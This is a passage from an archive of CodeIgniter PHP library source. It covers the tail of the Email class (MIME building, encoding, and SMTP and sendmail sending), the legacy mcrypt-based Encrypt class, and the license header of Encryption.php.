* * @return void */ protected function _write_headers() { if ($this->protocol === 'mail') { if (isset($this->_headers['Subject'])) { $this->_subject = $this->_headers['Subject']; unset($this->_headers['Subject']); } } reset($this->_headers); $this->_header_str = ''; foreach ($this->_headers as $key => $val) { $val = trim($val); if ($val !== '') { $this->_header_str .= $key.': '.$val.$this->newline; } } if ($this->_get_protocol() === 'mail') { $this->_header_str = rtrim($this->_header_str); } } // -------------------------------------------------------------------- /** * Build Final Body and attachments * * @return bool */ protected function _build_message() { if ($this->wordwrap === TRUE && $this->mailtype !== 'html') { $this->_body = $this->word_wrap($this->_body); } $this->_write_headers(); $hdr = ($this->_get_protocol() === 'mail') ? $this->newline : ''; $body = ''; switch ($this->_get_content_type()) { case 'plain': $hdr .= 'Content-Type: text/plain; charset='.$this->charset.$this->newline .'Content-Transfer-Encoding: '.$this->_get_encoding(); if ($this->_get_protocol() === 'mail') { $this->_header_str .= $hdr; $this->_finalbody = $this->_body; } else { $this->_finalbody = $hdr.$this->newline.$this->newline.$this->_body; } return; case 'html': if ($this->send_multipart === FALSE) { $hdr .= 'Content-Type: text/html; charset='.$this->charset.$this->newline .'Content-Transfer-Encoding: quoted-printable'; } else { $boundary = uniqid('B_ALT_'); $hdr .= 'Content-Type: multipart/alternative; boundary="'.$boundary.'"'; $body .= $this->_get_mime_message().$this->newline.$this->newline .'--'.$boundary.$this->newline .'Content-Type: text/plain; charset='.$this->charset.$this->newline .'Content-Transfer-Encoding: '.$this->_get_encoding().$this->newline.$this->newline .$this->_get_alt_message().$this->newline.$this->newline .'--'.$boundary.$this->newline .'Content-Type: text/html; charset='.$this->charset.$this->newline .'Content-Transfer-Encoding: quoted-printable'.$this->newline.$this->newline; } $this->_finalbody = $body.$this->_prep_quoted_printable($this->_body).$this->newline.$this->newline; if ($this->_get_protocol() === 'mail') { $this->_header_str .= $hdr; } else { $this->_finalbody = $hdr.$this->newline.$this->newline.$this->_finalbody; } if ($this->send_multipart !== FALSE) { $this->_finalbody .= '--'.$boundary.'--'; } return; case 'plain-attach': $boundary = uniqid('B_ATC_'); $hdr .= 'Content-Type: multipart/mixed; boundary="'.$boundary.'"'; if ($this->_get_protocol() === 'mail') { $this->_header_str .= $hdr; } $body .= $this->_get_mime_message().$this->newline .$this->newline .'--'.$boundary.$this->newline .'Content-Type: text/plain; charset='.$this->charset.$this->newline .'Content-Transfer-Encoding: '.$this->_get_encoding().$this->newline .$this->newline .$this->_body.$this->newline.$this->newline; $this->_append_attachments($body, $boundary); break; case 'html-attach': $alt_boundary = uniqid('B_ALT_'); $last_boundary = NULL; if ($this->_attachments_have_multipart('mixed')) { $atc_boundary = uniqid('B_ATC_'); $hdr .= 'Content-Type: multipart/mixed; boundary="'.$atc_boundary.'"'; $last_boundary = $atc_boundary; } if ($this->_attachments_have_multipart('related')) { $rel_boundary = uniqid('B_REL_'); $rel_boundary_header = 'Content-Type: multipart/related; boundary="'.$rel_boundary.'"'; if (isset($last_boundary)) { $body .= '--'.$last_boundary.$this->newline.$rel_boundary_header; } else { $hdr .= $rel_boundary_header; } $last_boundary = $rel_boundary; } if ($this->_get_protocol() === 'mail') { $this->_header_str .= $hdr; } self::strlen($body) && $body .= $this->newline.$this->newline; $body .= $this->_get_mime_message().$this->newline.$this->newline .'--'.$last_boundary.$this->newline .'Content-Type: multipart/alternative; boundary="'.$alt_boundary.'"'.$this->newline.$this->newline .'--'.$alt_boundary.$this->newline .'Content-Type: text/plain; charset='.$this->charset.$this->newline .'Content-Transfer-Encoding: '.$this->_get_encoding().$this->newline.$this->newline .$this->_get_alt_message().$this->newline.$this->newline .'--'.$alt_boundary.$this->newline .'Content-Type: text/html; charset='.$this->charset.$this->newline .'Content-Transfer-Encoding: quoted-printable'.$this->newline.$this->newline .$this->_prep_quoted_printable($this->_body).$this->newline.$this->newline .'--'.$alt_boundary.'--'.$this->newline.$this->newline; if ( ! empty($rel_boundary)) { $body .= $this->newline.$this->newline; $this->_append_attachments($body, $rel_boundary, 'related'); } // multipart/mixed attachments if ( ! empty($atc_boundary)) { $body .= $this->newline.$this->newline; $this->_append_attachments($body, $atc_boundary, 'mixed'); } break; } $this->_finalbody = ($this->_get_protocol() === 'mail') ? $body : $hdr.$this->newline.$this->newline.$body; return TRUE; } // -------------------------------------------------------------------- protected function _attachments_have_multipart($type) { foreach ($this->_attachments as &$attachment) { if ($attachment['multipart'] === $type) { return TRUE; } } return FALSE; } // -------------------------------------------------------------------- /** * Prepares attachment string * * @param string $body Message body to append to * @param string $boundary Multipart boundary * @param string $multipart When provided, only attachments of this type will be processed * @return string */ protected function _append_attachments(&$body, $boundary, $multipart = null) { for ($i = 0, $c = count($this->_attachments); $i < $c; $i++) { if (isset($multipart) && $this->_attachments[$i]['multipart'] !== $multipart) { continue; } $name = isset($this->_attachments[$i]['name'][1]) ? $this->_attachments[$i]['name'][1] : basename($this->_attachments[$i]['name'][0]); $body .= '--'.$boundary.$this->newline .'Content-Type: '.$this->_attachments[$i]['type'].'; name="'.$name.'"'.$this->newline .'Content-Disposition: '.$this->_attachments[$i]['disposition'].';'.$this->newline .'Content-Transfer-Encoding: base64'.$this->newline .(empty($this->_attachments[$i]['cid']) ? '' : 'Content-ID: <'.$this->_attachments[$i]['cid'].'>'.$this->newline) .$this->newline .$this->_attachments[$i]['content'].$this->newline; } // $name won't be set if no attachments were appended, // and therefore a boundary wouldn't be necessary empty($name) OR $body .= '--'.$boundary.'--'; } // -------------------------------------------------------------------- /** * Prep Quoted Printable * * Prepares string for Quoted-Printable Content-Transfer-Encoding * Refer to RFC 2045 http://www.ietf.org/rfc/rfc2045.txt * * @param string * @return string */ protected function _prep_quoted_printable($str) { // ASCII code numbers for "safe" characters that can always be // used literally, without encoding, as described in RFC 2049. // http://www.ietf.org/rfc/rfc2049.txt static $ascii_safe_chars = array( // ' ( ) + , - . / : = ? 39, 40, 41, 43, 44, 45, 46, 47, 58, 61, 63, // numbers 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, // upper-case letters 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, // lower-case letters 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122 ); // We are intentionally wrapping so mail servers will encode characters // properly and MUAs will behave, so {unwrap} must go! $str = str_replace(array('{unwrap}', '{/unwrap}'), '', $str); // RFC 2045 specifies CRLF as "\r\n". // However, many developers choose to override that and violate // the RFC rules due to (apparently) a bug in MS Exchange, // which only works with "\n". if ($this->crlf === "\r\n") { return quoted_printable_encode($str); } // Reduce multiple spaces & remove nulls $str = preg_replace(array('| +|', '/\x00+/'), array(' ', ''), $str); // Standardize newlines if (strpos($str, "\r") !== FALSE) { $str = str_replace(array("\r\n", "\r"), "\n", $str); } $escape = '='; $output = ''; foreach (explode("\n", $str) as $line) { $length = self::strlen($line); $temp = ''; // Loop through each character in the line to add soft-wrap // characters at the end of a line " =\r\n" and add the newly // processed line(s) to the output (see comment on $crlf class property) for ($i = 0; $i < $length; $i++) { // Grab the next character $char = $line[$i]; $ascii = ord($char); // Convert spaces and tabs but only if it's the end of the line if ($ascii === 32 OR $ascii === 9) { if ($i === ($length - 1)) { $char = $escape.sprintf('%02s', dechex($ascii)); } } // DO NOT move this below the $ascii_safe_chars line! // // = (equals) signs are allowed by RFC2049, but must be encoded // as they are the encoding delimiter! elseif ($ascii === 61) { $char = $escape.strtoupper(sprintf('%02s', dechex($ascii))); // =3D } elseif ( ! in_array($ascii, $ascii_safe_chars, TRUE)) { $char = $escape.strtoupper(sprintf('%02s', dechex($ascii))); } // If we're at the character limit, add the line to the output, // reset our temp variable, and keep on chuggin' if ((self::strlen($temp) + self::strlen($char)) >= 76) { $output .= $temp.$escape.$this->crlf; $temp = ''; } // Add the character to our temporary line $temp .= $char; } // Add our completed line to the output $output .= $temp.$this->crlf; } // get rid of extra CRLF tacked onto the end return self::substr($output, 0, self::strlen($this->crlf) * -1); } // -------------------------------------------------------------------- /** * Prep Q Encoding * * Performs "Q Encoding" on a string for use in email headers. * It's related but not identical to quoted-printable, so it has its * own method. * * @param string * @return string */ protected function _prep_q_encoding($str) { $str = str_replace(array("\r", "\n"), '', $str); if ($this->charset === 'UTF-8') { // Note: We used to have mb_encode_mimeheader() as the first choice // here, but it turned out to be buggy and unreliable. DO NOT // re-add it! -- Narf if (ICONV_ENABLED === TRUE) { $output = @iconv_mime_encode('', $str, array( 'scheme' => 'Q', 'line-length' => 76, 'input-charset' => $this->charset, 'output-charset' => $this->charset, 'line-break-chars' => $this->crlf ) ); // There are reports that iconv_mime_encode() might fail and return FALSE if ($output !== FALSE) { // iconv_mime_encode() will always put a header field name. // We've passed it an empty one, but it still prepends our // encoded string with ': ', so we need to strip it. return self::substr($output, 2); } $chars = iconv_strlen($str, 'UTF-8'); } elseif (MB_ENABLED === TRUE) { $chars = mb_strlen($str, 'UTF-8'); } } // We might already have this set for UTF-8 isset($chars) OR $chars = self::strlen($str); $output = '=?'.$this->charset.'?Q?'; for ($i = 0, $length = self::strlen($output); $i < $chars; $i++) { $chr = ($this->charset === 'UTF-8' && ICONV_ENABLED === TRUE) ? '='.implode('=', str_split(strtoupper(bin2hex(iconv_substr($str, $i, 1, $this->charset))), 2)) : '='.strtoupper(bin2hex($str[$i])); // RFC 2045 sets a limit of 76 characters per line. // We'll append ?= to the end of each line though. if ($length + ($l = self::strlen($chr)) > 74) { $output .= '?='.$this->crlf // EOL .' =?'.$this->charset.'?Q?'.$chr; // New line $length = 6 + self::strlen($this->charset) + $l; // Reset the length for the new line } else { $output .= $chr; $length += $l; } } // End the header return $output.'?='; } // -------------------------------------------------------------------- /** * Send Email * * @param bool $auto_clear = TRUE * @return bool */ public function send($auto_clear = TRUE) { if ( ! isset($this->_headers['From'])) { $this->_set_error_message('lang:email_no_from'); return FALSE; } if ($this->_replyto_flag === FALSE) { $this->reply_to($this->_headers['From']); } if ( ! isset($this->_recipients) && ! isset($this->_headers['To']) && ! isset($this->_bcc_array) && ! isset($this->_headers['Bcc']) && ! isset($this->_headers['Cc'])) { $this->_set_error_message('lang:email_no_recipients'); return FALSE; } $this->_build_headers(); if ($this->bcc_batch_mode && count($this->_bcc_array) > $this->bcc_batch_size) { $result = $this->batch_bcc_send(); if ($result && $auto_clear) { $this->clear(); } return $result; } if ($this->_build_message() === FALSE) { return FALSE; } $result = $this->_spool_email(); if ($result && $auto_clear) { $this->clear(); } return $result; } // -------------------------------------------------------------------- /** * Batch Bcc Send. Sends groups of BCCs in batches * * @return void */ public function batch_bcc_send() { $float = $this->bcc_batch_size - 1; $set = ''; $chunk = array(); for ($i = 0, $c = count($this->_bcc_array); $i < $c; $i++) { if (isset($this->_bcc_array[$i])) { $set .= ', '.$this->_bcc_array[$i]; } if ($i === $float) { $chunk[] = self::substr($set, 1); $float += $this->bcc_batch_size; $set = ''; } if ($i === $c-1) { $chunk[] = self::substr($set, 1); } } for ($i = 0, $c = count($chunk); $i < $c; $i++) { unset($this->_headers['Bcc']); $bcc = $this->clean_email($this->_str_to_array($chunk[$i])); if ($this->protocol !== 'smtp') { $this->set_header('Bcc', implode(', ', $bcc)); } else { $this->_bcc_array = $bcc; } if ($this->_build_message() === FALSE) { return FALSE; } $this->_spool_email(); } } // -------------------------------------------------------------------- /** * Unwrap special elements * * @return void */ protected function _unwrap_specials() { $this->_finalbody = preg_replace_callback('/\{unwrap\}(.*?)\{\/unwrap\}/si', array($this, '_remove_nl_callback'), $this->_finalbody); } // -------------------------------------------------------------------- /** * Strip line-breaks via callback * * @param string $matches * @return string */ protected function _remove_nl_callback($matches) { if (strpos($matches[1], "\r") !== FALSE OR strpos($matches[1], "\n") !== FALSE) { $matches[1] = str_replace(array("\r\n", "\r", "\n"), '', $matches[1]); } return $matches[1]; } // -------------------------------------------------------------------- /** * Spool mail to the mail server * * @return bool */ protected function _spool_email() { $this->_unwrap_specials(); $method = '_send_with_'.$this->_get_protocol(); if ( ! $this->$method()) { $this->_set_error_message('lang:email_send_failure_'.($this->_get_protocol() === 'mail' ? 'phpmail' : $this->_get_protocol())); return FALSE; } $this->_set_error_message('lang:email_sent', $this->_get_protocol()); return TRUE; } // -------------------------------------------------------------------- /** * Send using mail() * * @return bool */ protected function _send_with_mail() { if (is_array($this->_recipients)) { $this->_recipients = implode(', ', $this->_recipients); } if ($this->_safe_mode === TRUE) { return mail($this->_recipients, $this->_subject, $this->_finalbody, $this->_header_str); } else { // most documentation of sendmail using the "-f" flag lacks a space after it, however // we've encountered servers that seem to require it to be in place. return mail($this->_recipients, $this->_subject, $this->_finalbody, $this->_header_str, '-f '.$this->clean_email($this->_headers['Return-Path'])); } } // -------------------------------------------------------------------- /** * Send using Sendmail * * @return bool */ protected function _send_with_sendmail() { // is popen() enabled? if ( ! function_usable('popen') OR FALSE === ($fp = @popen( $this->mailpath.' -oi -f '.$this->clean_email($this->_headers['From']).' -t' , 'w')) ) // server probably has popen disabled, so nothing we can do to get a verbose error. { return FALSE; } fputs($fp, $this->_header_str); fputs($fp, $this->_finalbody); $status = pclose($fp); if ($status !== 0) { $this->_set_error_message('lang:email_exit_status', $status); $this->_set_error_message('lang:email_no_socket'); return FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * Send using SMTP * * @return bool */ protected function _send_with_smtp() { if ($this->smtp_host === '') { $this->_set_error_message('lang:email_no_hostname'); return FALSE; } if ( ! $this->_smtp_connect() OR ! $this->_smtp_authenticate()) { return FALSE; } if ( ! $this->_send_command('from', $this->clean_email($this->_headers['From']))) { $this->_smtp_end(); return FALSE; } foreach ($this->_recipients as $val) { if ( ! $this->_send_command('to', $val)) { $this->_smtp_end(); return FALSE; } } if (count($this->_cc_array) > 0) { foreach ($this->_cc_array as $val) { if ($val !== '' && ! $this->_send_command('to', $val)) { $this->_smtp_end(); return FALSE; } } } if (count($this->_bcc_array) > 0) { foreach ($this->_bcc_array as $val) { if ($val !== '' && ! $this->_send_command('to', $val)) { $this->_smtp_end(); return FALSE; } } } if ( ! $this->_send_command('data')) { $this->_smtp_end(); return FALSE; } // perform dot transformation on any lines that begin with a dot $this->_send_data($this->_header_str.preg_replace('/^\./m', '..$1', $this->_finalbody)); $this->_send_data('.'); $reply = $this->_get_smtp_data(); $this->_set_error_message($reply); $this->_smtp_end(); if (strpos($reply, '250') !== 0) { $this->_set_error_message('lang:email_smtp_error', $reply); return FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * SMTP End * * Shortcut to send RSET or QUIT depending on keep-alive * * @return void */ protected function _smtp_end() { ($this->smtp_keepalive) ? $this->_send_command('reset') : $this->_send_command('quit'); } // -------------------------------------------------------------------- /** * SMTP Connect * * @return string */ protected function _smtp_connect() { if (is_resource($this->_smtp_connect)) { return TRUE; } $ssl = ($this->smtp_crypto === 'ssl') ? 'ssl://' : ''; $this->_smtp_connect = fsockopen($ssl.$this->smtp_host, $this->smtp_port, $errno, $errstr, $this->smtp_timeout); if ( ! is_resource($this->_smtp_connect)) { $this->_set_error_message('lang:email_smtp_error', $errno.' '.$errstr); return FALSE; } stream_set_timeout($this->_smtp_connect, $this->smtp_timeout); $this->_set_error_message($this->_get_smtp_data()); if ($this->smtp_crypto === 'tls') { $this->_send_command('hello'); $this->_send_command('starttls'); $crypto = stream_socket_enable_crypto($this->_smtp_connect, TRUE, STREAM_CRYPTO_METHOD_TLS_CLIENT); if ($crypto !== TRUE) { $this->_set_error_message('lang:email_smtp_error', $this->_get_smtp_data()); return FALSE; } } return $this->_send_command('hello'); } // -------------------------------------------------------------------- /** * Send SMTP command * * @param string * @param string * @return bool */ protected function _send_command($cmd, $data = '') { switch ($cmd) { case 'hello' : if ($this->_smtp_auth OR $this->_get_encoding() === '8bit') { $this->_send_data('EHLO '.$this->_get_hostname()); } else { $this->_send_data('HELO '.$this->_get_hostname()); } $resp = 250; break; case 'starttls' : $this->_send_data('STARTTLS'); $resp = 220; break; case 'from' : $this->_send_data('MAIL FROM:<'.$data.'>'); $resp = 250; break; case 'to' : if ($this->dsn) { $this->_send_data('RCPT TO:<'.$data.'> NOTIFY=SUCCESS,DELAY,FAILURE ORCPT=rfc822;'.$data); } else { $this->_send_data('RCPT TO:<'.$data.'>'); } $resp = 250; break; case 'data' : $this->_send_data('DATA'); $resp = 354; break; case 'reset': $this->_send_data('RSET'); $resp = 250; break; case 'quit' : $this->_send_data('QUIT'); $resp = 221; break; } $reply = $this->_get_smtp_data(); $this->_debug_msg[] = '<pre>'.$cmd.': '.$reply.'</pre>'; if ((int) self::substr($reply, 0, 3) !== $resp) { $this->_set_error_message('lang:email_smtp_error', $reply); return FALSE; } if ($cmd === 'quit') { fclose($this->_smtp_connect); } return TRUE; } // -------------------------------------------------------------------- /** * SMTP Authenticate * * @return bool */ protected function _smtp_authenticate() { if ( ! $this->_smtp_auth) { return TRUE; } if ($this->smtp_user === '' && $this->smtp_pass === '') { $this->_set_error_message('lang:email_no_smtp_unpw'); return FALSE; } $this->_send_data('AUTH LOGIN'); $reply = $this->_get_smtp_data(); if (strpos($reply, '503') === 0) // Already authenticated { return TRUE; } elseif (strpos($reply, '334') !== 0) { $this->_set_error_message('lang:email_failed_smtp_login', $reply); return FALSE; } $this->_send_data(base64_encode($this->smtp_user)); $reply = $this->_get_smtp_data(); if (strpos($reply, '334') !== 0) { $this->_set_error_message('lang:email_smtp_auth_un', $reply); return FALSE; } $this->_send_data(base64_encode($this->smtp_pass)); $reply = $this->_get_smtp_data(); if (strpos($reply, '235') !== 0) { $this->_set_error_message('lang:email_smtp_auth_pw', $reply); return FALSE; } if ($this->smtp_keepalive) { $this->_smtp_auth = FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * Send SMTP data * * @param string $data * @return bool */ protected function _send_data($data) { $data .= $this->newline; for ($written = $timestamp = 0, $length = self::strlen($data); $written < $length; $written += $result) { if (($result = fwrite($this->_smtp_connect, self::substr($data, $written))) === FALSE) { break; } // See https://bugs.php.net/bug.php?id=39598 and http://php.net/manual/en/function.fwrite.php#96951 elseif ($result === 0) { if ($timestamp === 0) { $timestamp = time(); } elseif ($timestamp < (time() - $this->smtp_timeout)) { $result = FALSE; break; } usleep(250000); continue; } else { $timestamp = 0; } } if ($result === FALSE) { $this->_set_error_message('lang:email_smtp_data_failure', $data); return FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * Get SMTP data * * @return string */ protected function _get_smtp_data() { $data = ''; while ($str = fgets($this->_smtp_connect, 512)) { $data .= $str; if ($str[3] === ' ') { break; } } return $data; } // -------------------------------------------------------------------- /** * Get Hostname * * There are only two legal types of hostname - either a fully * qualified domain name (eg: "mail.example.com") or an IP literal * (eg: "[1.2.3.4]"). * * @link https://tools.ietf.org/html/rfc5321#section-2.3.5 * @link http://cbl.abuseat.org/namingproblems.html * @return string */ protected function _get_hostname() { if (isset($_SERVER['SERVER_NAME'])) { return $_SERVER['SERVER_NAME']; } return isset($_SERVER['SERVER_ADDR']) ? '['.$_SERVER['SERVER_ADDR'].']' : '[127.0.0.1]'; } // -------------------------------------------------------------------- /** * Get Debug Message * * @param array $include List of raw data chunks to include in the output * Valid options are: 'headers', 'subject', 'body' * @return string */ public function print_debugger($include = array('headers', 'subject', 'body')) { $msg = ''; if (count($this->_debug_msg) > 0) { foreach ($this->_debug_msg as $val) { $msg .= $val; } } // Determine which parts of our raw data needs to be printed $raw_data = ''; is_array($include) OR $include = array($include); if (in_array('headers', $include, TRUE)) { $raw_data = htmlspecialchars($this->_header_str)."\n"; } if (in_array('subject', $include, TRUE)) { $raw_data .= htmlspecialchars($this->_subject)."\n"; } if (in_array('body', $include, TRUE)) { $raw_data .= htmlspecialchars($this->_finalbody); } return $msg.($raw_data === '' ? '' : '<pre>'.$raw_data.'</pre>'); } // -------------------------------------------------------------------- /** * Set Message * * @param string $msg * @param string $val = '' * @return void */ protected function _set_error_message($msg, $val = '') { $CI =& get_instance(); $CI->lang->load('email'); if (sscanf($msg, 'lang:%s', $line) !== 1 OR FALSE === ($line = $CI->lang->line($line))) { $this->_debug_msg[] = str_replace('%s', $val, $msg).'<br />'; } else { $this->_debug_msg[] = str_replace('%s', $val, $line).'<br />'; } } // -------------------------------------------------------------------- /** * Mime Types * * @param string * @return string */ protected function _mime_types($ext = '') { $ext = strtolower($ext); $mimes =& get_mimes(); if (isset($mimes[$ext])) { return is_array($mimes[$ext]) ? current($mimes[$ext]) : $mimes[$ext]; } return 'application/x-unknown-content-type'; } // -------------------------------------------------------------------- /** * Destructor * * @return void */ public function __destruct() { is_resource($this->_smtp_connect) && $this->_send_command('quit'); } // -------------------------------------------------------------------- /** * Byte-safe strlen() * * @param string $str * @return int */ protected static function strlen($str) { return (self::$func_override) ? mb_strlen($str, '8bit') : strlen($str); } // -------------------------------------------------------------------- /** * Byte-safe substr() * * @param string $str * @param int $start * @param int $length * @return string */ protected static function substr($str, $start, $length = NULL) { if (self::$func_override) { // mb_substr($str, $start, null, '8bit') returns an empty // string on PHP 5.3 isset($length) OR $length = ($start >= 0 ? self::strlen($str) - $start : -$start); return mb_substr($str, $start, $length, '8bit'); } return isset($length) ? substr($str, $start, $length) : substr($str, $start); } } Encrypt.php 0000775 00000025630 15060054572 0006720 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Encryption Class * * Provides two-way keyed encoding using Mcrypt * * @package CodeIgniter * @subpackage Libraries * @category Libraries * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/encryption.html */ class CI_Encrypt { /** * Reference to the user's encryption key * * @var string */ public $encryption_key = ''; /** * Type of hash operation * * @var string */ protected $_hash_type = 'sha1'; /** * Flag for the existence of mcrypt * * @var bool */ protected $_mcrypt_exists = FALSE; /** * Current cipher to be used with mcrypt * * @var string */ protected $_mcrypt_cipher; /** * Method for encrypting/decrypting data * * @var int */ protected $_mcrypt_mode; /** * Initialize Encryption class * * @return void */ public function __construct() { if (($this->_mcrypt_exists = function_exists('mcrypt_encrypt')) === FALSE) { show_error('The Encrypt library requires the Mcrypt extension.'); } log_message('info', 'Encrypt Class Initialized'); } // -------------------------------------------------------------------- /** * Fetch the encryption key * * Returns it as MD5 in order to have an exact-length 128 bit key. * Mcrypt is sensitive to keys that are not the correct length * * @param string * @return string */ public function get_key($key = '') { if ($key === '') { if ($this->encryption_key !== '') { return $this->encryption_key; } $key = config_item('encryption_key'); if ( ! strlen($key)) { show_error('In order to use the encryption class requires that you set an encryption key in your config file.'); } } return md5($key); } // -------------------------------------------------------------------- /** * Set the encryption key * * @param string * @return CI_Encrypt */ public function set_key($key = '') { $this->encryption_key = $key; return $this; } // -------------------------------------------------------------------- /** * Encode * * Encodes the message string using bitwise XOR encoding. * The key is combined with a random hash, and then it * too gets converted using XOR. The whole thing is then run * through mcrypt using the randomized key. The end result * is a double-encrypted message string that is randomized * with each call to this function, even if the supplied * message and key are the same. * * @param string the string to encode * @param string the key * @return string */ public function encode($string, $key = '') { return base64_encode($this->mcrypt_encode($string, $this->get_key($key))); } // -------------------------------------------------------------------- /** * Decode * * Reverses the above process * * @param string * @param string * @return string */ public function decode($string, $key = '') { if (preg_match('/[^a-zA-Z0-9\/\+=]/', $string) OR base64_encode(base64_decode($string)) !== $string) { return FALSE; } return $this->mcrypt_decode(base64_decode($string), $this->get_key($key)); } // -------------------------------------------------------------------- /** * Encode from Legacy * * Takes an encoded string from the original Encryption class algorithms and * returns a newly encoded string using the improved method added in 2.0.0 * This allows for backwards compatibility and a method to transition to the * new encryption algorithms. * * For more details, see https://codeigniter.com/user_guide/installation/upgrade_200.html#encryption * * @param string * @param int (mcrypt mode constant) * @param string * @return string */ public function encode_from_legacy($string, $legacy_mode = MCRYPT_MODE_ECB, $key = '') { if (preg_match('/[^a-zA-Z0-9\/\+=]/', $string)) { return FALSE; } // decode it first // set mode temporarily to what it was when string was encoded with the legacy // algorithm - typically MCRYPT_MODE_ECB $current_mode = $this->_get_mode(); $this->set_mode($legacy_mode); $key = $this->get_key($key); $dec = base64_decode($string); if (($dec = $this->mcrypt_decode($dec, $key)) === FALSE) { $this->set_mode($current_mode); return FALSE; } $dec = $this->_xor_decode($dec, $key); // set the mcrypt mode back to what it should be, typically MCRYPT_MODE_CBC $this->set_mode($current_mode); // and re-encode return base64_encode($this->mcrypt_encode($dec, $key)); } // -------------------------------------------------------------------- /** * XOR Decode * * Takes an encoded string and key as input and generates the * plain-text original message * * @param string * @param string * @return string */ protected function _xor_decode($string, $key) { $string = $this->_xor_merge($string, $key); $dec = ''; for ($i = 0, $l = strlen($string); $i < $l; $i++) { $dec .= ($string[$i++] ^ $string[$i]); } return $dec; } // -------------------------------------------------------------------- /** * XOR key + string Combiner * * Takes a string and key as input and computes the difference using XOR * * @param string * @param string * @return string */ protected function _xor_merge($string, $key) { $hash = $this->hash($key); $str = ''; for ($i = 0, $ls = strlen($string), $lh = strlen($hash); $i < $ls; $i++) { $str .= $string[$i] ^ $hash[($i % $lh)]; } return $str; } // -------------------------------------------------------------------- /** * Encrypt using Mcrypt * * @param string * @param string * @return string */ public function mcrypt_encode($data, $key) { $init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode()); $init_vect = mcrypt_create_iv($init_size, MCRYPT_RAND); return $this->_add_cipher_noise($init_vect.mcrypt_encrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), $key); } // -------------------------------------------------------------------- /** * Decrypt using Mcrypt * * @param string * @param string * @return string */ public function mcrypt_decode($data, $key) { $data = $this->_remove_cipher_noise($data, $key); $init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode()); if ($init_size > strlen($data)) { return FALSE; } $init_vect = substr($data, 0, $init_size); $data = substr($data, $init_size); return rtrim(mcrypt_decrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), "\0"); } // -------------------------------------------------------------------- /** * Adds permuted noise to the IV + encrypted data to protect * against Man-in-the-middle attacks on CBC mode ciphers * http://www.ciphersbyritter.com/GLOSSARY.HTM#IV * * @param string * @param string * @return string */ protected function _add_cipher_noise($data, $key) { $key = $this->hash($key); $str = ''; for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j) { if ($j >= $lk) { $j = 0; } $str .= chr((ord($data[$i]) + ord($key[$j])) % 256); } return $str; } // -------------------------------------------------------------------- /** * Removes permuted noise from the IV + encrypted data, reversing * _add_cipher_noise() * * Function description * * @param string $data * @param string $key * @return string */ protected function _remove_cipher_noise($data, $key) { $key = $this->hash($key); $str = ''; for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j) { if ($j >= $lk) { $j = 0; } $temp = ord($data[$i]) - ord($key[$j]); if ($temp < 0) { $temp += 256; } $str .= chr($temp); } return $str; } // -------------------------------------------------------------------- /** * Set the Mcrypt Cipher * * @param int * @return CI_Encrypt */ public function set_cipher($cipher) { $this->_mcrypt_cipher = $cipher; return $this; } // -------------------------------------------------------------------- /** * Set the Mcrypt Mode * * @param int * @return CI_Encrypt */ public function set_mode($mode) { $this->_mcrypt_mode = $mode; return $this; } // -------------------------------------------------------------------- /** * Get Mcrypt cipher Value * * @return int */ protected function _get_cipher() { if ($this->_mcrypt_cipher === NULL) { return $this->_mcrypt_cipher = MCRYPT_RIJNDAEL_256; } return $this->_mcrypt_cipher; } // -------------------------------------------------------------------- /** * Get Mcrypt Mode Value * * @return int */ protected function _get_mode() { if ($this->_mcrypt_mode === NULL) { return $this->_mcrypt_mode = MCRYPT_MODE_CBC; } return $this->_mcrypt_mode; } // -------------------------------------------------------------------- /** * Set the Hash type * * @param string * @return void */ public function set_hash($type = 'sha1') { $this->_hash_type = in_array($type, hash_algos()) ? $type : 'sha1'; } // -------------------------------------------------------------------- /** * Hash encode a string * * @param string * @return string */ public function hash($str) { return hash($this->_hash_type, $str); } } Encryption.php 0000775 00000055736 15060054572 0007440 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, 